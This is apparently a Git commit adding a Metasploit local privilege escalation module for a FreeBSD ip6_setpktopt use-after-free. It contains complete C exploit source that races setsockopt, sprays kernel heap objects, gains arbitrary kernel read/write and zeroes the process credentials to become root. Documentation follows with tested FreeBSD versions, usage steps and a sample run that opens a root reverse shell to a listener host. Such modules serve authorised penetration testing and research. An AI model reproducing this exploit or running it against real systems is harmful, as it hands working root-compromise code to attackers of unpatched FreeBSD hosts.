Land #13837, Add FreeBSD ip6_setpktopt Use-After-Free Privilege Escalation module
This commit is contained in:
commit
a886177b96
|
@ -0,0 +1,611 @@
|
||||||
|
/*
|
||||||
|
FreeBSD 12.0-RELEASE x64 Kernel Exploit
|
||||||
|
|
||||||
|
Usage:
|
||||||
|
$ clang -o exploit exploit.c -lpthread
|
||||||
|
$ ./exploit
|
||||||
|
*/
|
||||||
|
// msf note: written by theflow0: https://hackerone.com/reports/826026
|
||||||
|
|
||||||
|
#include <errno.h>
|
||||||
|
#include <fcntl.h>
|
||||||
|
#include <stdio.h>
|
||||||
|
#include <string.h>
|
||||||
|
#include <stddef.h>
|
||||||
|
#include <stdlib.h>
|
||||||
|
#include <unistd.h>
|
||||||
|
#include <pthread.h>
|
||||||
|
#define _KERNEL
|
||||||
|
#include <sys/event.h>
|
||||||
|
#undef _KERNEL
|
||||||
|
#define _WANT_FILE
|
||||||
|
#include <sys/file.h>
|
||||||
|
#include <sys/filedesc.h>
|
||||||
|
#include <sys/param.h>
|
||||||
|
#include <sys/proc.h>
|
||||||
|
#include <sys/socket.h>
|
||||||
|
#define _WANT_SOCKET
|
||||||
|
#include <sys/socketvar.h>
|
||||||
|
#include <netinet/in.h>
|
||||||
|
#define _WANT_INPCB
|
||||||
|
#include <netinet/in_pcb.h>
|
||||||
|
#include <netinet/ip6.h>
|
||||||
|
#include <netinet6/ip6_var.h>
|
||||||
|
|
||||||
|
// #define FBSD12
|
||||||
|
|
||||||
|
#define ELF_MAGIC 0x464c457f
|
||||||
|
|
||||||
|
#define IPV6_2292PKTINFO 19
|
||||||
|
#define IPV6_2292PKTOPTIONS 25
|
||||||
|
|
||||||
|
#define TCLASS_MASTER 0x13370000
|
||||||
|
#define TCLASS_SPRAY 0x41
|
||||||
|
#define TCLASS_TAINT 0x42
|
||||||
|
|
||||||
|
#define NUM_SPRAY_RACE 0x20
|
||||||
|
#define NUM_SPRAY 0x100
|
||||||
|
#define NUM_KQUEUES 0x100
|
||||||
|
|
||||||
|
#ifdef FBSD12
|
||||||
|
#define ALLPROC_OFFSET 0x1df3c38
|
||||||
|
#else
|
||||||
|
#define ALLPROC_OFFSET 0xf01e40
|
||||||
|
#endif
|
||||||
|
|
||||||
|
#define PKTOPTS_PKTINFO_OFFSET (offsetof(struct ip6_pktopts, ip6po_pktinfo))
|
||||||
|
#define PKTOPTS_RTHDR_OFFSET (offsetof(struct ip6_pktopts, ip6po_rhinfo.ip6po_rhi_rthdr))
|
||||||
|
#define PKTOPTS_TCLASS_OFFSET (offsetof(struct ip6_pktopts, ip6po_tclass))
|
||||||
|
|
||||||
|
#define PROC_LIST_OFFSET (offsetof(struct proc, p_list))
|
||||||
|
#define PROC_UCRED_OFFSET (offsetof(struct proc, p_ucred))
|
||||||
|
#define PROC_FD_OFFSET (offsetof(struct proc, p_fd))
|
||||||
|
#define PROC_PID_OFFSET (offsetof(struct proc, p_pid))
|
||||||
|
|
||||||
|
#ifdef FBSD12
|
||||||
|
|
||||||
|
#define FILEDESC_FILES_OFFSET (offsetof(struct filedesc, fd_files))
|
||||||
|
#define FILEDESCENTTBL_OFILES_OFFSET (offsetof(struct fdescenttbl, fdt_ofiles))
|
||||||
|
#define FILEDESCENTTBL_NFILES_OFFSET (offsetof(struct fdescenttbl, fdt_nfiles))
|
||||||
|
#define FILEDESCENT_FILE_OFFSET (offsetof(struct filedescent, fde_file))
|
||||||
|
#define FILE_TYPE_OFFSET (offsetof(struct file, f_type))
|
||||||
|
#define FILE_DATA_OFFSET (offsetof(struct file, f_data))
|
||||||
|
|
||||||
|
#else
|
||||||
|
|
||||||
|
#define FILEDESC_OFILES_OFFSET (offsetof(struct filedesc, fd_ofiles))
|
||||||
|
#define FILEDESC_NFILES_OFFSET (offsetof(struct filedesc, fd_nfiles))
|
||||||
|
#define FILE_TYPE_OFFSET (offsetof(struct file, f_type))
|
||||||
|
#define FILE_DATA_OFFSET (offsetof(struct file, f_data))
|
||||||
|
|
||||||
|
#endif
|
||||||
|
|
||||||
|
#define KNOTE_FOP_OFFSET (offsetof(struct knote, kn_fop))
|
||||||
|
#define FILTEROPS_DETACH_OFFSET (offsetof(struct filterops, f_detach))
|
||||||
|
|
||||||
|
#define SOCKET_PCB_OFFSET (offsetof(struct socket, so_pcb))
|
||||||
|
#define INPCB_OUTPUTOPTS_OFFSET (offsetof(struct inpcb, in6p_outputopts))
|
||||||
|
|
||||||
|
int kqueue(void);
|
||||||
|
int kevent(int kq, const struct kevent *changelist, int nchanges,
|
||||||
|
struct kevent *eventlist, int nevents,
|
||||||
|
const struct timespec *timeout);
|
||||||
|
|
||||||
|
static uint64_t kernel_base;
|
||||||
|
static uint64_t p_ucred, p_fd;
|
||||||
|
static uint64_t kevent_addr, pktopts_addr;
|
||||||
|
|
||||||
|
static int triggered = 0;
|
||||||
|
static int kevent_sock, master_sock, overlap_sock, victim_sock;
|
||||||
|
static int spray_sock[NUM_SPRAY];
|
||||||
|
static int kq[NUM_KQUEUES];
|
||||||
|
|
||||||
|
static void hexDump(const void *data, size_t size) {
|
||||||
|
size_t i;
|
||||||
|
for(i = 0; i < size; i++) {
|
||||||
|
printf("%02hhX%c", ((char *)data)[i], (i + 1) % 16 ? ' ' : '\n');
|
||||||
|
}
|
||||||
|
printf("\n");
|
||||||
|
}
|
||||||
|
|
||||||
|
static int new_socket(void) {
|
||||||
|
return socket(AF_INET6, SOCK_DGRAM, IPPROTO_UDP);
|
||||||
|
}
|
||||||
|
|
||||||
|
static void build_tclass_cmsg(char *buf, int val) {
|
||||||
|
struct cmsghdr *cmsg;
|
||||||
|
|
||||||
|
cmsg = (struct cmsghdr *)buf;
|
||||||
|
cmsg->cmsg_len = CMSG_LEN(sizeof(int));
|
||||||
|
cmsg->cmsg_level = IPPROTO_IPV6;
|
||||||
|
cmsg->cmsg_type = IPV6_TCLASS;
|
||||||
|
|
||||||
|
*(int *)CMSG_DATA(cmsg) = val;
|
||||||
|
}
|
||||||
|
|
||||||
|
static int build_rthdr_msg(char *buf, int size) {
|
||||||
|
struct ip6_rthdr *rthdr;
|
||||||
|
int len;
|
||||||
|
|
||||||
|
len = ((size >> 3) - 1) & ~1;
|
||||||
|
size = (len + 1) << 3;
|
||||||
|
|
||||||
|
memset(buf, 0, size);
|
||||||
|
|
||||||
|
rthdr = (struct ip6_rthdr *)buf;
|
||||||
|
rthdr->ip6r_nxt = 0;
|
||||||
|
rthdr->ip6r_len = len;
|
||||||
|
rthdr->ip6r_type = IPV6_RTHDR_TYPE_0;
|
||||||
|
rthdr->ip6r_segleft = rthdr->ip6r_len >> 1;
|
||||||
|
|
||||||
|
return size;
|
||||||
|
}
|
||||||
|
|
||||||
|
static int get_rthdr(int s, char *buf, socklen_t len) {
|
||||||
|
return getsockopt(s, IPPROTO_IPV6, IPV6_RTHDR, buf, &len);
|
||||||
|
}
|
||||||
|
|
||||||
|
static int set_rthdr(int s, char *buf, socklen_t len) {
|
||||||
|
return setsockopt(s, IPPROTO_IPV6, IPV6_RTHDR, buf, len);
|
||||||
|
}
|
||||||
|
|
||||||
|
static int free_rthdr(int s) {
|
||||||
|
return set_rthdr(s, NULL, 0);
|
||||||
|
}
|
||||||
|
|
||||||
|
static int get_tclass(int s) {
|
||||||
|
int val;
|
||||||
|
socklen_t len = sizeof(val);
|
||||||
|
getsockopt(s, IPPROTO_IPV6, IPV6_TCLASS, &val, &len);
|
||||||
|
return val;
|
||||||
|
}
|
||||||
|
|
||||||
|
static int set_tclass(int s, int val) {
|
||||||
|
return setsockopt(s, IPPROTO_IPV6, IPV6_TCLASS, &val, sizeof(val));
|
||||||
|
}
|
||||||
|
|
||||||
|
static int get_pktinfo(int s, char *buf) {
|
||||||
|
socklen_t len = sizeof(struct in6_pktinfo);
|
||||||
|
return getsockopt(s, IPPROTO_IPV6, IPV6_PKTINFO, buf, &len);
|
||||||
|
}
|
||||||
|
|
||||||
|
static int set_pktinfo(int s, char *buf) {
|
||||||
|
return setsockopt(s, IPPROTO_IPV6, IPV6_PKTINFO, buf, sizeof(struct in6_pktinfo));
|
||||||
|
}
|
||||||
|
|
||||||
|
static int set_pktopts(int s, char *buf, socklen_t len) {
|
||||||
|
return setsockopt(s, IPPROTO_IPV6, IPV6_2292PKTOPTIONS, buf, len);
|
||||||
|
}
|
||||||
|
|
||||||
|
static int free_pktopts(int s) {
|
||||||
|
return set_pktopts(s, NULL, 0);
|
||||||
|
}
|
||||||
|
|
||||||
|
static uint64_t leak_rthdr_ptr(int s) {
|
||||||
|
char buf[0x100];
|
||||||
|
get_rthdr(s, buf, sizeof(buf));
|
||||||
|
return *(uint64_t *)(buf + PKTOPTS_RTHDR_OFFSET);
|
||||||
|
}
|
||||||
|
|
||||||
|
static uint64_t leak_kmalloc(char *buf, int size) {
|
||||||
|
int rthdr_len = build_rthdr_msg(buf, size);
|
||||||
|
set_rthdr(master_sock, buf, rthdr_len);
|
||||||
|
#ifdef FBSD12
|
||||||
|
get_rthdr(master_sock, buf, rthdr_len);
|
||||||
|
return *(uint64_t *)(buf + 0x00);
|
||||||
|
#else
|
||||||
|
return leak_rthdr_ptr(overlap_sock);
|
||||||
|
#endif
|
||||||
|
}
|
||||||
|
|
||||||
|
static void write_to_victim(uint64_t addr) {
|
||||||
|
char buf[sizeof(struct in6_pktinfo)];
|
||||||
|
*(uint64_t *)(buf + 0x00) = addr;
|
||||||
|
*(uint64_t *)(buf + 0x08) = 0;
|
||||||
|
*(uint32_t *)(buf + 0x10) = 0;
|
||||||
|
set_pktinfo(master_sock, buf);
|
||||||
|
}
|
||||||
|
|
||||||
|
static int find_victim_sock(void) {
|
||||||
|
char buf[sizeof(struct in6_pktinfo)];
|
||||||
|
|
||||||
|
write_to_victim(pktopts_addr + PKTOPTS_PKTINFO_OFFSET);
|
||||||
|
|
||||||
|
for (int i = 0; i < NUM_SPRAY; i++) {
|
||||||
|
get_pktinfo(spray_sock[i], buf);
|
||||||
|
if (*(uint64_t *)(buf + 0x00) != 0)
|
||||||
|
return i;
|
||||||
|
}
|
||||||
|
|
||||||
|
return -1;
|
||||||
|
}
|
||||||
|
|
||||||
|
static uint8_t kread8(uint64_t addr) {
|
||||||
|
char buf[sizeof(struct in6_pktinfo)];
|
||||||
|
write_to_victim(addr);
|
||||||
|
get_pktinfo(victim_sock, buf);
|
||||||
|
return *(uint8_t *)buf;
|
||||||
|
}
|
||||||
|
|
||||||
|
static uint16_t kread16(uint64_t addr) {
|
||||||
|
char buf[sizeof(struct in6_pktinfo)];
|
||||||
|
write_to_victim(addr);
|
||||||
|
get_pktinfo(victim_sock, buf);
|
||||||
|
return *(uint16_t *)buf;
|
||||||
|
}
|
||||||
|
|
||||||
|
static uint32_t kread32(uint64_t addr) {
|
||||||
|
char buf[sizeof(struct in6_pktinfo)];
|
||||||
|
write_to_victim(addr);
|
||||||
|
get_pktinfo(victim_sock, buf);
|
||||||
|
return *(uint32_t *)buf;
|
||||||
|
}
|
||||||
|
|
||||||
|
static uint64_t kread64(uint64_t addr) {
|
||||||
|
char buf[sizeof(struct in6_pktinfo)];
|
||||||
|
write_to_victim(addr);
|
||||||
|
get_pktinfo(victim_sock, buf);
|
||||||
|
return *(uint64_t *)buf;
|
||||||
|
}
|
||||||
|
|
||||||
|
static void kread(void *dst, uint64_t src, size_t len) {
|
||||||
|
for (int i = 0; i < len; i++)
|
||||||
|
((uint8_t *)dst)[i] = kread8(src + i);
|
||||||
|
}
|
||||||
|
|
||||||
|
static void kwrite64(uint64_t addr, uint64_t val) {
|
||||||
|
int fd = open("/dev/kmem", O_RDWR);
|
||||||
|
if (fd >= 0) {
|
||||||
|
lseek(fd, addr, SEEK_SET);
|
||||||
|
write(fd, &val, sizeof(val));
|
||||||
|
close(fd);
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
static int kwrite(uint64_t addr, void *buf) {
|
||||||
|
write_to_victim(addr);
|
||||||
|
return set_pktinfo(victim_sock, buf);
|
||||||
|
}
|
||||||
|
|
||||||
|
static uint64_t find_kernel_base(uint64_t addr) {
|
||||||
|
addr &= ~(PAGE_SIZE - 1);
|
||||||
|
while (kread32(addr) != ELF_MAGIC)
|
||||||
|
addr -= PAGE_SIZE;
|
||||||
|
return addr;
|
||||||
|
}
|
||||||
|
|
||||||
|
static int find_proc_cred_and_fd(pid_t pid) {
|
||||||
|
uint64_t proc = kread64(kernel_base + ALLPROC_OFFSET);
|
||||||
|
|
||||||
|
while (proc) {
|
||||||
|
if (kread32(proc + PROC_PID_OFFSET) == pid) {
|
||||||
|
p_ucred = kread64(proc + PROC_UCRED_OFFSET);
|
||||||
|
p_fd = kread64(proc + PROC_FD_OFFSET);
|
||||||
|
printf("[+] p_ucred: 0x%lx\n", p_ucred);
|
||||||
|
printf("[+] p_fd: 0x%lx\n", p_fd);
|
||||||
|
return 0;
|
||||||
|
}
|
||||||
|
|
||||||
|
proc = kread64(proc + PROC_LIST_OFFSET);
|
||||||
|
}
|
||||||
|
|
||||||
|
return -1;
|
||||||
|
}
|
||||||
|
|
||||||
|
#ifdef FBSD12
|
||||||
|
|
||||||
|
static uint64_t find_socket_data(int s) {
|
||||||
|
uint64_t files, ofiles, fp;
|
||||||
|
int nfiles;
|
||||||
|
short type;
|
||||||
|
|
||||||
|
files = kread64(p_fd + FILEDESC_FILES_OFFSET);
|
||||||
|
if (!files)
|
||||||
|
return 0;
|
||||||
|
|
||||||
|
ofiles = files + FILEDESCENTTBL_OFILES_OFFSET;
|
||||||
|
|
||||||
|
nfiles = kread32(files + FILEDESCENTTBL_NFILES_OFFSET);
|
||||||
|
if (s < 0 || s >= nfiles)
|
||||||
|
return 0;
|
||||||
|
|
||||||
|
fp = kread64(ofiles + s * sizeof(struct filedescent) + FILEDESCENT_FILE_OFFSET);
|
||||||
|
if (!fp)
|
||||||
|
return 0;
|
||||||
|
|
||||||
|
type = kread16(fp + FILE_TYPE_OFFSET);
|
||||||
|
if (type != DTYPE_SOCKET)
|
||||||
|
return 0;
|
||||||
|
|
||||||
|
return kread64(fp + FILE_DATA_OFFSET);
|
||||||
|
}
|
||||||
|
|
||||||
|
#else
|
||||||
|
|
||||||
|
static uint64_t find_socket_data(int s) {
|
||||||
|
uint64_t ofiles, fp;
|
||||||
|
int nfiles;
|
||||||
|
short type;
|
||||||
|
|
||||||
|
ofiles = kread64(p_fd + FILEDESC_OFILES_OFFSET);
|
||||||
|
if (!ofiles)
|
||||||
|
return 0;
|
||||||
|
|
||||||
|
nfiles = kread32(p_fd + FILEDESC_NFILES_OFFSET);
|
||||||
|
if (s < 0 || s >= nfiles)
|
||||||
|
return 0;
|
||||||
|
|
||||||
|
fp = kread64(ofiles + s * sizeof(struct file *));
|
||||||
|
if (!fp)
|
||||||
|
return 0;
|
||||||
|
|
||||||
|
type = kread16(fp + FILE_TYPE_OFFSET);
|
||||||
|
if (type != DTYPE_SOCKET)
|
||||||
|
return 0;
|
||||||
|
|
||||||
|
return kread64(fp + FILE_DATA_OFFSET);
|
||||||
|
}
|
||||||
|
|
||||||
|
#endif
|
||||||
|
|
||||||
|
static uint64_t find_socket_pcb(int s) {
|
||||||
|
uint64_t f_data;
|
||||||
|
|
||||||
|
f_data = find_socket_data(s);
|
||||||
|
if (!f_data)
|
||||||
|
return 0;
|
||||||
|
|
||||||
|
return kread64(f_data + SOCKET_PCB_OFFSET);
|
||||||
|
}
|
||||||
|
|
||||||
|
static uint64_t find_socket_pktopts(int s) {
|
||||||
|
uint64_t in6p;
|
||||||
|
|
||||||
|
in6p = find_socket_pcb(s);
|
||||||
|
if (!in6p)
|
||||||
|
return 0;
|
||||||
|
|
||||||
|
return kread64(in6p + INPCB_OUTPUTOPTS_OFFSET);
|
||||||
|
}
|
||||||
|
|
||||||
|
static void cleanup(void) {
|
||||||
|
uint64_t master_pktopts, overlap_pktopts, victim_pktopts;
|
||||||
|
|
||||||
|
master_pktopts = find_socket_pktopts(master_sock);
|
||||||
|
overlap_pktopts = find_socket_pktopts(overlap_sock);
|
||||||
|
victim_pktopts = find_socket_pktopts(victim_sock);
|
||||||
|
|
||||||
|
kwrite64(master_pktopts + PKTOPTS_PKTINFO_OFFSET, 0);
|
||||||
|
kwrite64(overlap_pktopts + PKTOPTS_RTHDR_OFFSET, 0);
|
||||||
|
kwrite64(victim_pktopts + PKTOPTS_PKTINFO_OFFSET, 0);
|
||||||
|
}
|
||||||
|
|
||||||
|
static void escalate_privileges(void) {
|
||||||
|
char buf[sizeof(struct in6_pktinfo)];
|
||||||
|
|
||||||
|
*(uint32_t *)(buf + 0x00) = 0; // cr_uid
|
||||||
|
*(uint32_t *)(buf + 0x04) = 0; // cr_ruid
|
||||||
|
*(uint32_t *)(buf + 0x08) = 0; // cr_svuid
|
||||||
|
*(uint32_t *)(buf + 0x0c) = 1; // cr_ngroups
|
||||||
|
*(uint32_t *)(buf + 0x10) = 0; // cr_rgid
|
||||||
|
|
||||||
|
kwrite(p_ucred + 4, buf);
|
||||||
|
}
|
||||||
|
|
||||||
|
static int find_overlap_sock(void) {
|
||||||
|
set_tclass(master_sock, TCLASS_TAINT);
|
||||||
|
|
||||||
|
for (int i = 0; i < NUM_SPRAY; i++) {
|
||||||
|
if (get_tclass(spray_sock[i]) == TCLASS_TAINT)
|
||||||
|
return i;
|
||||||
|
}
|
||||||
|
|
||||||
|
return -1;
|
||||||
|
}
|
||||||
|
|
||||||
|
static int spray_pktopts(void) {
|
||||||
|
for (int i = 0; i < NUM_SPRAY_RACE; i++)
|
||||||
|
set_tclass(spray_sock[i], TCLASS_SPRAY);
|
||||||
|
|
||||||
|
if (get_tclass(master_sock) == TCLASS_SPRAY)
|
||||||
|
return 1;
|
||||||
|
|
||||||
|
for (int i = 0; i < NUM_SPRAY_RACE; i++)
|
||||||
|
free_pktopts(spray_sock[i]);
|
||||||
|
|
||||||
|
return 0;
|
||||||
|
}
|
||||||
|
|
||||||
|
static void *use_thread(void *arg) {
|
||||||
|
char buf[CMSG_SPACE(sizeof(int))];
|
||||||
|
build_tclass_cmsg(buf, 0);
|
||||||
|
|
||||||
|
while (!triggered && get_tclass(master_sock) != TCLASS_SPRAY) {
|
||||||
|
set_pktopts(master_sock, buf, sizeof(buf));
|
||||||
|
|
||||||
|
#ifdef FBSD12
|
||||||
|
usleep(100);
|
||||||
|
#endif
|
||||||
|
}
|
||||||
|
|
||||||
|
triggered = 1;
|
||||||
|
return NULL;
|
||||||
|
}
|
||||||
|
|
||||||
|
static void *free_thread(void *arg) {
|
||||||
|
while (!triggered && get_tclass(master_sock) != TCLASS_SPRAY) {
|
||||||
|
free_pktopts(master_sock);
|
||||||
|
|
||||||
|
#ifdef FBSD12
|
||||||
|
if (spray_pktopts())
|
||||||
|
break;
|
||||||
|
#endif
|
||||||
|
|
||||||
|
usleep(100);
|
||||||
|
}
|
||||||
|
|
||||||
|
triggered = 1;
|
||||||
|
return NULL;
|
||||||
|
}
|
||||||
|
|
||||||
|
static int trigger_uaf(void) {
|
||||||
|
pthread_t th[2];
|
||||||
|
|
||||||
|
pthread_create(&th[0], NULL, use_thread, NULL);
|
||||||
|
pthread_create(&th[1], NULL, free_thread, NULL);
|
||||||
|
|
||||||
|
while (1) {
|
||||||
|
if (spray_pktopts())
|
||||||
|
break;
|
||||||
|
|
||||||
|
#ifndef FBSD12
|
||||||
|
usleep(100);
|
||||||
|
#endif
|
||||||
|
}
|
||||||
|
|
||||||
|
triggered = 1;
|
||||||
|
|
||||||
|
pthread_join(th[0], NULL);
|
||||||
|
pthread_join(th[1], NULL);
|
||||||
|
|
||||||
|
return find_overlap_sock();
|
||||||
|
}
|
||||||
|
|
||||||
|
static int fake_pktopts(uint64_t pktinfo) {
|
||||||
|
char buf[0x100];
|
||||||
|
int rthdr_len, tclass;
|
||||||
|
|
||||||
|
// Free master_sock's pktopts
|
||||||
|
free_pktopts(overlap_sock);
|
||||||
|
|
||||||
|
// Spray rthdr's to refill master_sock's pktopts
|
||||||
|
rthdr_len = build_rthdr_msg(buf, 0x100);
|
||||||
|
for (int i = 0; i < NUM_SPRAY; i++) {
|
||||||
|
*(uint64_t *)(buf + PKTOPTS_PKTINFO_OFFSET) = pktinfo;
|
||||||
|
*(uint32_t *)(buf + PKTOPTS_TCLASS_OFFSET) = TCLASS_MASTER | i;
|
||||||
|
set_rthdr(spray_sock[i], buf, rthdr_len);
|
||||||
|
}
|
||||||
|
|
||||||
|
tclass = get_tclass(master_sock);
|
||||||
|
|
||||||
|
// See if pktopts has been refilled correctly
|
||||||
|
if ((tclass & 0xffff0000) != TCLASS_MASTER) {
|
||||||
|
printf("[-] Error could not refill pktopts.\n");
|
||||||
|
exit(1);
|
||||||
|
}
|
||||||
|
|
||||||
|
return tclass & 0xffff;
|
||||||
|
}
|
||||||
|
|
||||||
|
static void leak_kevent_pktopts(void) {
|
||||||
|
char buf[0x800];
|
||||||
|
|
||||||
|
struct kevent kv;
|
||||||
|
EV_SET(&kv, kevent_sock, EVFILT_READ, EV_ADD, 0, 5, NULL);
|
||||||
|
|
||||||
|
// Free pktopts
|
||||||
|
for (int i = 0; i < NUM_SPRAY; i++)
|
||||||
|
free_pktopts(spray_sock[i]);
|
||||||
|
|
||||||
|
// Leak 0x800 kmalloc addr
|
||||||
|
kevent_addr = leak_kmalloc(buf, 0x800);
|
||||||
|
printf("[+] kevent_addr: 0x%lx\n", kevent_addr);
|
||||||
|
|
||||||
|
// Free rthdr buffer and spray kevents to occupy this location
|
||||||
|
free_rthdr(master_sock);
|
||||||
|
for (int i = 0; i < NUM_KQUEUES; i++)
|
||||||
|
kevent(kq[i], &kv, 1, 0, 0, 0);
|
||||||
|
|
||||||
|
// Leak 0x100 kmalloc addr
|
||||||
|
pktopts_addr = leak_kmalloc(buf, 0x100);
|
||||||
|
printf("[+] pktopts_addr: 0x%lx\n", pktopts_addr);
|
||||||
|
|
||||||
|
// Free rthdr buffer and spray pktopts to occupy this location
|
||||||
|
free_rthdr(master_sock);
|
||||||
|
for (int i = 0; i < NUM_SPRAY; i++)
|
||||||
|
set_tclass(spray_sock[i], 0);
|
||||||
|
}
|
||||||
|
|
||||||
|
int main(int argc, char *argv[]) {
|
||||||
|
uint64_t knote, kn_fop, f_detach;
|
||||||
|
int idx;
|
||||||
|
|
||||||
|
printf("[*] Initializing sockets...\n");
|
||||||
|
|
||||||
|
kevent_sock = new_socket();
|
||||||
|
master_sock = new_socket();
|
||||||
|
|
||||||
|
for (int i = 0; i < NUM_SPRAY; i++)
|
||||||
|
spray_sock[i] = new_socket();
|
||||||
|
|
||||||
|
for (int i = 0; i < NUM_KQUEUES; i++)
|
||||||
|
kq[i] = kqueue();
|
||||||
|
|
||||||
|
printf("[*] Triggering UAF...\n");
|
||||||
|
idx = trigger_uaf();
|
||||||
|
if (idx == -1) {
|
||||||
|
printf("[-] Error could not find overlap sock.\n");
|
||||||
|
exit(1);
|
||||||
|
}
|
||||||
|
|
||||||
|
// master_sock and overlap_sock point to the same pktopts
|
||||||
|
overlap_sock = spray_sock[idx];
|
||||||
|
spray_sock[idx] = new_socket();
|
||||||
|
printf("[+] Overlap socket: %x (%x)\n", overlap_sock, idx);
|
||||||
|
|
||||||
|
// Reallocate pktopts
|
||||||
|
for (int i = 0; i < NUM_SPRAY; i++) {
|
||||||
|
free_pktopts(spray_sock[i]);
|
||||||
|
set_tclass(spray_sock[i], 0);
|
||||||
|
}
|
||||||
|
|
||||||
|
// Fake master pktopts
|
||||||
|
idx = fake_pktopts(0);
|
||||||
|
overlap_sock = spray_sock[idx];
|
||||||
|
spray_sock[idx] = new_socket(); // use new socket so logic in spraying will be easier
|
||||||
|
printf("[+] Overlap socket: %x (%x)\n", overlap_sock, idx);
|
||||||
|
|
||||||
|
// Leak address of some kevent and pktopts
|
||||||
|
leak_kevent_pktopts();
|
||||||
|
|
||||||
|
// Fake master pktopts
|
||||||
|
idx = fake_pktopts(pktopts_addr + PKTOPTS_PKTINFO_OFFSET);
|
||||||
|
overlap_sock = spray_sock[idx];
|
||||||
|
printf("[+] Overlap socket: %x (%x)\n", overlap_sock, idx);
|
||||||
|
|
||||||
|
idx = find_victim_sock();
|
||||||
|
if (idx == -1) {
|
||||||
|
printf("[-] Error could not find victim sock.\n");
|
||||||
|
exit(1);
|
||||||
|
}
|
||||||
|
|
||||||
|
victim_sock = spray_sock[idx];
|
||||||
|
printf("[+] Victim socket: %x (%x)\n", victim_sock, idx);
|
||||||
|
|
||||||
|
printf("[+] Arbitrary R/W achieved.\n");
|
||||||
|
|
||||||
|
knote = kread64(kevent_addr + kevent_sock * sizeof(uintptr_t));
|
||||||
|
kn_fop = kread64(knote + KNOTE_FOP_OFFSET);
|
||||||
|
f_detach = kread64(kn_fop + FILTEROPS_DETACH_OFFSET);
|
||||||
|
|
||||||
|
printf("[+] knote: 0x%lx\n", knote);
|
||||||
|
printf("[+] kn_fop: 0x%lx\n", kn_fop);
|
||||||
|
printf("[+] f_detach: 0x%lx\n", f_detach);
|
||||||
|
|
||||||
|
printf("[+] Finding kernel base...\n");
|
||||||
|
kernel_base = find_kernel_base(f_detach);
|
||||||
|
printf("[+] Kernel base: 0x%lx\n", kernel_base);
|
||||||
|
|
||||||
|
printf("[+] Finding process cred and fd...\n");
|
||||||
|
find_proc_cred_and_fd(getpid());
|
||||||
|
|
||||||
|
printf("[*] Escalating privileges...\n");
|
||||||
|
escalate_privileges();
|
||||||
|
|
||||||
|
printf("[*] Cleaning up...\n");
|
||||||
|
cleanup();
|
||||||
|
|
||||||
|
printf("[+] Done.\n");
|
||||||
|
|
||||||
|
return 0;
|
||||||
|
}
|
|
@ -0,0 +1,118 @@
|
||||||
|
## Vulnerable Application
|
||||||
|
|
||||||
|
This module exploits a race and use-after-free vulnerability in the
|
||||||
|
FreeBSD kernel IPv6 socket handling. A missing synchronization lock
|
||||||
|
in the `IPV6_2292PKTOPTIONS` option handling in `setsockopt` permits
|
||||||
|
racing `ip6_setpktopt` access to a freed `ip6_pktopts` struct.
|
||||||
|
|
||||||
|
This exploit overwrites the `ip6po_pktinfo` pointer of a `ip6_pktopts`
|
||||||
|
struct in freed memory to achieve arbitrary kernel read/write.
|
||||||
|
|
||||||
|
This module has been tested successfully on:
|
||||||
|
|
||||||
|
* FreeBSD 9.0-RELEASE #0 (amd64)
|
||||||
|
* FreeBSD 9.1-RELEASE #0 r243825 (amd64)
|
||||||
|
* FreeBSD 9.2-RELEASE #0 r255898 (amd64)
|
||||||
|
* FreeBSD 9.3-RELEASE #0 r268512 (amd64)
|
||||||
|
* FreeBSD 12.0-RELEASE r341666 (amd64)
|
||||||
|
* FreeBSD 12.1-RELEASE r354233 (amd64)
|
||||||
|
|
||||||
|
|
||||||
|
## Verification Steps
|
||||||
|
|
||||||
|
1. Start `msfconsole`
|
||||||
|
2. Get a session
|
||||||
|
3. `use exploit/freebsd/local/ip6_setpktopt_uaf_priv_esc`
|
||||||
|
4. `set SESSION <SESSION>`
|
||||||
|
5. `check`
|
||||||
|
6. `run`
|
||||||
|
7. You should get a new *root* session
|
||||||
|
|
||||||
|
|
||||||
|
## Options
|
||||||
|
|
||||||
|
### NUM_SPRAY
|
||||||
|
|
||||||
|
Spray iterations (default (`256`)
|
||||||
|
|
||||||
|
### NUM_SPRAY_RACE
|
||||||
|
|
||||||
|
Race iterations (default: `32`)
|
||||||
|
|
||||||
|
### ForceExploit
|
||||||
|
|
||||||
|
Override check result (default: `false`)
|
||||||
|
|
||||||
|
### WritableDir
|
||||||
|
|
||||||
|
A directory where we can write files (default: `/tmp`)
|
||||||
|
|
||||||
|
|
||||||
|
## Scenarios
|
||||||
|
|
||||||
|
### FreeBSD 9.3-RELEASE #0 r268512 (amd64)
|
||||||
|
|
||||||
|
```
|
||||||
|
msf5 > use exploit/freebsd/local/ip6_setpktopt_uaf_priv_esc
|
||||||
|
[*] Using configured payload bsd/x64/shell_reverse_tcp
|
||||||
|
msf5 exploit(freebsd/local/ip6_setpktopt_uaf_priv_esc) > set lhost 172.16.191.165
|
||||||
|
lhost => 172.16.191.165
|
||||||
|
msf5 exploit(freebsd/local/ip6_setpktopt_uaf_priv_esc) > set session 1
|
||||||
|
session => 1
|
||||||
|
msf5 exploit(freebsd/local/ip6_setpktopt_uaf_priv_esc) > run
|
||||||
|
|
||||||
|
[!] SESSION may not be compatible with this module.
|
||||||
|
[*] Started reverse TCP handler on 172.16.191.165:4444
|
||||||
|
[*] Executing automatic check (disable AutoCheck to override)
|
||||||
|
[+] The target appears to be vulnerable.
|
||||||
|
[*] Using target: FreeBSD 9.3-RELEASE #0 r268512 - allproc offset: 0x1295800
|
||||||
|
[*] Writing '/tmp/.SnZgWBMA.c' (14147 bytes) ...
|
||||||
|
[*] Compiling /tmp/.SnZgWBMA.c ...
|
||||||
|
[*] Writing '/tmp/.d97xapNItz' (218 bytes) ...
|
||||||
|
[*] Launching exploit (timeout: 30s) ...
|
||||||
|
[*] uid=0(root) gid=0(wheel) egid=1002(asdf) groups=1002(asdf)
|
||||||
|
[+] Success! Executing payload...
|
||||||
|
[*] Command shell session 2 opened (172.16.191.165:4444 -> 172.16.191.142:61848) at 2020-07-09 18:02:09 -0400
|
||||||
|
[+] Deleted /tmp/.SnZgWBMA.c
|
||||||
|
[+] Deleted /tmp/.SnZgWBMA
|
||||||
|
[+] Deleted /tmp/.d97xapNItz
|
||||||
|
|
||||||
|
id
|
||||||
|
uid=0(root) gid=0(wheel) egid=1002(asdf) groups=1002(asdf)
|
||||||
|
uname -a
|
||||||
|
FreeBSD freebsd-9-3-amd64 9.3-RELEASE FreeBSD 9.3-RELEASE #0 r268512: Thu Jul 10 23:44:39 UTC 2014 root@snap.freebsd.org:/usr/obj/usr/src/sys/GENERIC amd64
|
